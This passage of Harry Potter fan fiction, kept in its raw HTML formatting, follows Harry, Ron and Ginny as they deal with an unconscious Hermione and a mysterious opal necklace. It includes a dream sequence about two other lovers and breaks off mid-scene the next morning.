smiled, &#8220;So how does it feel to ho&#8212;&#8220;Ron was about to say but\nstopped when he saw the angry look crossing over Harry&#8217;s face.&nbsp; &#8220;Never mind.&#8221; He said backing off.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nshook his head and turned to Ginny, &#8220;can you go do what I told you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nnodded and she ran quickly towards the girl&#8217;s tent and disappeared for a\nmoment.&nbsp; Harry carrying Hermione and Ron\nstood by the fire.&nbsp; Ron was scratching\nhis head in confusion.&nbsp; &#8220;What did you\ntell Ginny to do?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Now\nI don&#8217;t want to start up our past conversation again if you don&#8217;t mind, but I\ntold her, Ginny to go and get Hermione&#8217;s sleeping stuff.&nbsp; So she can sleep out here and I can keep an\neye on her.&#8221; Even that didn&#8217;t sound right.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Keep\nan eye on her? The poor girl is passed out.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What&#8217;s\nyour point?&#8221; Harry was aggravated.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;She&#8217;s\nnot going to go anywhere in that condition.&#8221; Ron grinned.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Look,\nI don&#8217;t care.&nbsp; I&#8217;m going to stay with her\nuntil I know she&#8217;s going to wake up and be alright.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nshook his head back and forth not really believing a word he was saying, he\nturned slightly and found Ginny running back with Hermione&#8217;s sleeping bag and\npillow.&nbsp; She spread it out on the ground\nnext to a sitting log.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\ngently set Hermione down her head resting on the pillow.&nbsp; He looked up at Ron his green eyes still\naggravated, &#8220;stop thinking what you&#8217;re thinking. Now wait here with her, and\nI&#8217;ll be right back.&#8221; He stood and quickly darted off towards the boys tents.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nnudged Ron with her elbow, &#8220;what are you thinking?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nglanced down at Hermione, &#8220;That he&#8217;s in love with her.&#8221; He put a finger to his\nchin.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nknew that.&#8221; Ginny said with a half smile.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Confused\nRon looked at her, &#8220;how did you know that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nshook her head laughing lightly, &#8220;you guys are so observant.&nbsp; Everything in his life revolves around her.&#8221;\nShe glanced down at Hermione as well. &#8220;It always has, he wouldn&#8217;t give up his\nfriendship or infatuation with her for anything.&nbsp; It&#8217;s already been proven with his failed relationships.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Which\nyou were one of,&#8221; Ron snickered.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yep,\nI know first hand that anyone else in his life will always come second.&#8221; She\nglanced up and found Harry returning with his sleeping gear.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp; He spread his sleeping bag out next to\nHermione and sat down, studying her intently he then looked up at Ron and\nGinny.&nbsp; &#8220;Have you guys noticed this\nbefore?&#8221; He pointed to the necklace that Hermione was wearing.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Noticed\nwhat?&#8221; Ron asked as he and Ginny both sat down on the dusty ground. &#8220;That\nnecklace, no I would have noticed it when I was criticizing her a few short\nhours ago.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nrolled her eyes at her brother&#8217;s remark, &#8220;I certainly have not, do you think\nshe found it?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Who\nwould loose something like this?&#8221; Harry thought out loud.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Only\nif they had other ones at home that looked just like it,&#8221; Ron smiled briefly.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;It\njust looks so expensive, and Hermione doesn&#8217;t wear a lot of jewelry, so why\nwould she pick this up?&#8221; Harry replied avoiding Ron&#8217;s smirking gaze at that\ncomment he had just made.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Do\nyou think we should take it off of her, what if this is causing her to be\nunconscious.&#8221; Ginny asked looking around, &#8220;what if this is a form of dark\nmagic?&#8221; Ginny&#8217;s eyes were wide with worry.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;That&#8217;s\na very good theory Gin.&#8221; Ron always complimented his sister, &#8220;Lets see what\nhappens if we take off the necklace.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nnodded, he reached around and pulled Hermione up against him.&nbsp; He could feel his pulse quicken as he held\nher closer to him he hoped Ron would hurry in getting that necklace off. But as\nsoon as Ron had grabbed the clasp he shrieked like a girl. Alarmed Harry almost\ndropped Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ron\nwhat happened?!&#8221; Both Ginny and Harry said in unison.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;The\ndamn thing burnt me.&#8221; Ron turned showed Ginny and Harry the burn marks on his\nfingers.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well\nyou probably grabbed the wrong thing.&#8221; Ginny replied.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;The\nwrong thing on a necklace clasp, come on Ginny be serious.&#8221; Ron was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nshook her head back and forth, &#8220;let me try.&#8221; She reached for the clasp, and she\nshrieked. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nsmirked. &#8220;maybe you did it wrong.&#8221; He said in a mocking tone.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh\nshut up Ron.&#8221; Ginny glared, &#8220;well we have to get that necklace off of her, it&#8217;s\nprobably burning her too.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ndon&#8217;t think so.&#8221; Harry said as if he were deep in thought, &#8220;She&#8217;s not writhing\nin agony or anything, and I haven&#8217;t seen any burn marks like on you two.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What\nif it&#8217;s controlling her?&#8221; Ginny asked.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What\ndo you want me to do about it, I&#8217;m as puzzled as the rest of you.&#8221; Harry\nreplied setting her body back down on the sleeping bag.&nbsp; He looked down at the necklace, at Hermione.\nShe looked kind of peaceful in her unconscious slumber.&nbsp; He ran his hand through his hair in\nfrustration.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nthink you should remove it?&#8221; Ron said as he sucked on his burnt finger.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No\nway, look what happened to you two.&#8221; He said with half a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ndon&#8217;t think it would hurt you, you have that protection against evil thing\ngoin&#8217; on.&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\ndid have a point Harry thought, maybe that would be enough so that he wouldn&#8217;t\nget burnt.&nbsp; &#8220;Alright then, roll her\nover.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\npulled Hermione up on her side, while Harry went for the necklace clasp and\nprepared himself for any burning feelings, and was quite amazed as he was able\nto undo the necklace clasp without so much as a warm feeling.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;See\ntold you so.&#8221; Ron grinned like an idiot. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nset Hermione down on her back again, while Harry picked up the necklace from\noff her neck and looked at it. &#8220;This is interesting. I think I&#8217;ll study it for\nawhile.&#8221; He leaned back against his pillow.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ha,\nyou study? That&#8217;s a first.&#8221; Ron was still smiling.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nkicked the air just in front of Ron as if he were aiming for him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nstood, stretching his arms fighting back a yawn. &#8220;well I&#8217;m headed to sleep,\nnight all.&#8221; He turned and walked slowly towards the boy&#8217;s tent, Ginny stood\nalso.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp; Looking up at Ginny, Harry found that she was\nsmiling foolishly at him. &#8220;Why are you looking at me like that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nshook her head &#8220;oh no reason, night Harry.&#8221; She then turned away and started\nback towards her tent.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nheld the necklace in the palm of his hand, staring at the large opal\nconcentrating on it as if something were going to jump out and explain its\nexistence.&nbsp; Hearing Hermione next to him\nmumble something, she turned over on her side facing him.&nbsp; He turned slightly.&nbsp; <i style="mso-bidi-font-style:normal">What&#8217;s\ngoing on in that head of yours? </i>He thought, his gaze still on her.&nbsp; He leaned in closer to her <i style="mso-bidi-font-style:normal">why are you so distant?</i> Without thinking\nhe lightly lifted his hand smoothing her hair, gently moving the brown strands\naway from her face. He noticed that this is the closest he&#8217;s been to her all\nsummer.&nbsp; Wondering if she had been\navoiding him all summer, and even earlier today she avoided him and everybody\nelse as best she could. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Sighing\nhe turned over on his back, reaching up to remove his glasses, he set them on\nthe log just above his head. He held the necklace in his left hand, which\nrested on his chest.&nbsp; With his right hand\nhe lifted two fingers he rubbed his eyes and closed them to sleep.&nbsp; Within moments he was fast asleep, the dreams\nrushing to him like a gentle breeze.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">Sneaking up behind her his hands covered\nher eyes, &#8220;Guess who?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">She smiled &#8220;Ulrich my love, I knew you\nwould return to me.&#8221; She teased.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">His hands snapped away and he moved\naround to face her with a hurt look on his face. &#8220;Jasmine that wasn&#8217;t nice,&#8221; he\npouted.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">She couldn&#8217;t stop herself from shaking\nwith laughter, &#8220;Oh Torrin, it was just a friendly jest, I knew it was you all\nthe time.&#8221; She continued looking down at the scroll in her lap.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">Torrin sat down on the ground next to\nher, then with a humph he rolled over on his back looking up at the sky, &#8220;Well\nit still wasn&#8217;t very funny.&#8221; He watched the lazy clouds breeze by.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Yes it was,&#8221; her eyes never left the\nscroll.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">He rolled over on his stomach resting\nhis chin on her knee, &#8220;what are you reading that has all of your attention,\nwhen I am sitting right here?&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">Jasmine lifted her eyes to his for a\nbrief moment and then returned to her reading, &#8220;and that&#8217;s supposed to mean\nwhat exactly?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">Torrin smiled his charming smile which\nusually caused women to fall at his feet, &#8220;that whenever I&#8217;m around I should\nalways have all your attention.&#8221; He sat up and grabbed the scroll from her and\nquickly rolled it up tossing it aside. He was so quick that Jasmine didn&#8217;t even\nhave time to grab it back.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I was reading that.&#8221; She said with a\nhalf smile.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I know.&#8221; Torrin was smug.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Not everything revolves around you\nTorrin, I hope you realize that.&#8221; Her gaze locked with his.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Ouch.&#8221; He put his hand against his chest\nwhere his heart was beating, &#8220;you wounded my pride Jasmine.&#8221; His tone light and\nhe was almost laughing.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">She looked around for her scroll and\nfound it on the other side of Torrin, &#8220;could you possibly hand me my scroll\nback please?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;What? Miss independent can&#8217;t retrieve\nit herself?&#8221; He grinned sarcastically. &#8220;And even though you aren&#8217;t reading I\nstill don&#8217;t have all your attention.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">Jasmine smiled her clever little smile,\n&#8220;you will never have all of my attention Torrin G&#8212;&#8221; She was interrupted.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Is that so?&#8221; Torrin challenged.&nbsp; Without answering Jasmine simply bent over,\naround him to grab her scroll from the ground, Torrin quickly grabbed her by\nthe wrist and pulled her against him their gazes locking intently. &#8220;Do I have\nall your attention yet?&#8221; He whispered.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">All she could do was nod.&nbsp; In an instant his lips pressed against hers,\nhis mouth opening hers and she fell into the passion of his kiss, exploring\neach others mouth with reckless abandon. He felt her pull gently away, &#8220;have\nyou come here just to torment my emotions?&#8221; She smiled briefly her eyes still\ndazed with desire.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">Torrin pressed a tender kiss on her neck\njust below her ear, feeling her shiver. &#8220;I wanted to give you something.&#8221; He\nfound her gaze and she had an eyebrow raised in a question. Torrin grinned &#8220;not\nthat something, you silly girl.&#8221; He thought a moment, &#8220;well, yes that something\njust not right now.&#8221;&nbsp; He saw the\namusement in her eyes. Torrin unclasped an ivory box from his belt and handed\nit to Jasmine with a smile.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;You know you don&#8217;t need to give me\nanything,&#8221; She looked at him confused. &#8220;You know all I&#8217;ve ever wanted was just\nyou.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I do know that, but I wanted to do\nthis.&#8221; He reached over and covered her hand with his helping her open the ivory\nbox.&nbsp; A beautiful opal pendent necklace\non a silver braided chain sparkled.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">Jasmine stared, gasping for air, then\nshe looked up at Torrin, &#8220;this is awfully expensive, you really didn&#8217;t need\nto&#8212;&#8221; she was interrupted by Torrin&#8217;s lips on hers again.</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">Torrin pulled back gazing into her eyes,\n&#8220;I wanted to.&#8221;&nbsp; He pulled the necklace\nfrom its box and clasped it around her neck, He looked down at the necklace\nhanging just below her neck.&nbsp; &#8220;I had it\nspecially crafted for you,&#8221; He lifted it slightly in his hand gazing at the\nstone. &nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">He saw Jasmine look towards the ground,\nshe lowered her eyes.&nbsp; Torrin found this\nslightly unnerving, with a tender finger, he lifted her chin so that there gaze\nmet, there were tears in her eyes. As the tears fell down her cheeks, he wiped\nthem away with his thumb.&nbsp; He brought up\nhis other hand and slowly pulled her mouth up to his.&nbsp; Torrin felt her arms go around him, holding\nhim tightly against her as he kissed her&#8212; </i>Having no idea that he was smiling in his sleep, Harry turned over on\nhis side.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">***\n</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\ngray early dawn crept up over the trees of Destiny Lake, Hermione was laying on\nher side, as her eyes opened slowly.&nbsp; She\ncould see the lake off in the distance her eyes darted around as if she didn&#8217;t\nknow where she was, she saw tents, logs and it suddenly came back to her. She\nwas back in the campsite, but she wasn&#8217;t in her tent. <i style="mso-bidi-font-style:\nnormal">Ginny must have found me</i>. She thought to herself.&nbsp; Hermione felt something heavy draped over her\nside, and something pressed up against her.&nbsp;\nShe looked down and found an arm laying across her. Feeling more than\nconfused not to mention alarmed she gently turned over to look, she didn&#8217;t want\nto disturb what horrible creature that might be holding her captive.&nbsp; She turned her head quickly and relaxed only\nslightly finding a sleeping Harry right next to her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\nrubbed her eyes wondering how she got into this particular situation, and that\nshe had better move away before anyone comes out and finds this sleeping\narrangement even though it felt really nice.&nbsp;\nTrying to not disturb her sleeping friend she carefully tried to lift\nhis arm from off of her.&nbsp; Hermione kept\nwatching his sleeping face making sure he wasn&#8217;t going to wake up.&nbsp; To her surprise she felt his arm tighten\naround her, not letting her move it.&nbsp; It\nsort of alarmed her as she knew he was asleep.&nbsp;\nHermione could not move it away.&nbsp; <i style="mso-bidi-font-style:normal">Oh well</i> she thought closing her eyes to\ngo back to sleep, she heard and felt him move.&nbsp;\nHermione&#8217;s eyes flew open when she felt more of his weight on her, she\nlooked down and found him laying half way across her, his head resting on her\nshoulder.&nbsp; Now she really couldn&#8217;t move\naway because it would definitely wake him if she moved, and he would probably\nbe so embarrassed, and she would not want him to feel that way. Besides this\nfelt really, really nice, and she closed her eyes to go back to sleep.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">***</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Feeling\nthe warm sun caused Harry to open his eyes, he realized that he was laying on\nsomething soft and not the hard ground.&nbsp;\nIt was Hermione he was using as a pillow.&nbsp; She was close enough that he could see her\nclearly without his glasses.&nbsp; She looked\nso peaceful and untroubled while she slept,&nbsp;\nhe lifted his head slightly off of her still watching her sleep, he\nlightly lifted a single strand of her hair and looked at it closely, the strand\nhad many different shades of brown mixed in it.&nbsp;\nHe heard a cough coming from the other side of the dead fire, looking\ntowards the fire pit and saw a tall reddish blob. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">Ron!</i> He shouted to himself.&nbsp; He\nquickly grabbed his glasses from the log and put them on, seeing Ron clearly\nhaving an amused expression on his face.&nbsp;\nHarry felt his cheeks flush in wondering exactly how long Ron had been\nthere and also knowing exactly what he was thinking. He sat up against the log\n&#8220;I don&#8217;t want to hear one word, not even one peep put of you.&#8221; He warned.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Peep&#8221;\nRon was smug. &#8220;All I&#8217;m going to say is, you know it and I know it.&#8221; He turned\nwith a large smile on his face to go wash up before breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nshook his head and rested his head against the log, he heard shuffling next to\nhim as Hermione was opening her eyes.&nbsp; He\nlooked down at her relieved that he had moved before her noticing he was\npractically on top of her, if she knew that she would probably be so\nembarrassed and keep even quieter.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Feeling\neyes upon her she looked up and found Harry smiling down at her, she sat up and\nstretched her arms up, &#8220;morning&#8221; she said sleepily.&nbsp; Looking around remembering, her cheeks\nflushed and she turned her head away, &#8220;how did I get out here?&#8221; She then looked\nback at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp; He was staring at her his eyes searching hers\nwith a question, &#8220;why did you go off by yourself last night? And I put you out\nhere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just felt like it okay,&#8221;\nShe said and then added, &#8220;why did you put me out here?&#8221; Her voice almost\naccusing as if it were a crime and that she was the victim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;We\nfound you passed out, Ginny and I brought you back here. That was really\ndangerous what you did, you know. You worried the lot of us.&#8221; He watched\nHermione staring down at her hands twisting her fingers together, she didn&#8217;t\nsay another word. And that wasn&#8217;t like her at all, even if she was wrong she\nwould defend herself all the way.&nbsp; Harry\ncouldn&#8217;t take her silence anymore he had, had it. In a split second he moved\ncloser her.&nbsp; &#8220;Hermione, something is wrong,\nwhat is it?&#8221;&nbsp; He tried to get her to look\nat him</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nshook her head silently, she was not going to talk about anything. She would\ndeal with it by herself. She tried hard to avoid his gaze, and succeeded.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Knowing\nthat she needed comforting Harry draped an arm around her shoulder and pulled\nher against him.&nbsp; He felt her try to push\nhim away like she had done with Ginny, but he held on tighter as he wrapped his\nother arm around her trying to hold her still, he looked down at her face\ntwisting with determination in trying to get away. &#8220;No Hermione I&#8217;m not letting\ngo of you.&#8221;&nbsp; She didn&#8217;t say anything only\nstill tried to get away, but he held her even tighter.&nbsp; &#8220;You can push away all you want, but I&#8217;m not\ngoing to let go. If you need some help I will help you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nkept trying to push away, &#8220;I don&#8217;t need help, and I certainly don&#8217;t need you!&#8221;\nHermione&#8217;s voice was cruel, almost heartbreaking. &#8220;Let go of me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" 